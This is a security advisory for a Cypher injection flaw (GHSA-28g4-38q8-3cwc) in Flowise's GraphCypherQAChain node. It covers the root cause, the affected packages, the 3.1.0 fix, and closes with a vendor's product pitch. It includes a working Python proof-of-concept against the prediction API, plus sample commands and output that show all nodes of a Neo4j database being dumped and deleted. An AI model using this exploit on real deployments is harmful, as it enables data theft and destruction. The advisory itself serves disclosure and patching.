GHSA-28g4-38q8-3cwc — flowise
GHSA-28g4-38q8-3cwc is a CWE-943 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: Cypher Injection in GraphCypherQAChain
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-28g4-38q8-3cwc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
Vulnerability Details
| Field | Value |
|---|---|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |
Prerequisites
To exploit this vulnerability, the following conditions must be met:
- Neo4j Database: A Neo4j instance must be connected to the Flowise server
- Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
- API Access: Access to the chatflow's prediction endpoint (
/api/v1/prediction/{flowId})
Root Cause
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
Impact
An attacker with access to a vulnerable chatflow can:
- Data Exfiltration: Read all data from the Neo4j database including sensitive fields
- Data Modification: Create, update, or delete nodes and relationships
- Data Destruction: Execute
DETACH DELETEto wipe entire database - Schema Discovery: Enumerate database structure, labels, and properties
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
Test Environment Setup
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
3. Configure Flowise chatflow (see screenshot)
Exploitation Steps
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
Evidence
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0npm install flowise@3.1.0 |
| 📦npm | flowise-components | all versions | 3.1.0npm install flowise-components@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-28g4-38q8-3cwc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-28g4-38q8-3cwc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-28g4-38q8-3cwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-28g4-38q8-3cwc in your dependencies?
O3 Security finds GHSA-28g4-38q8-3cwc across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.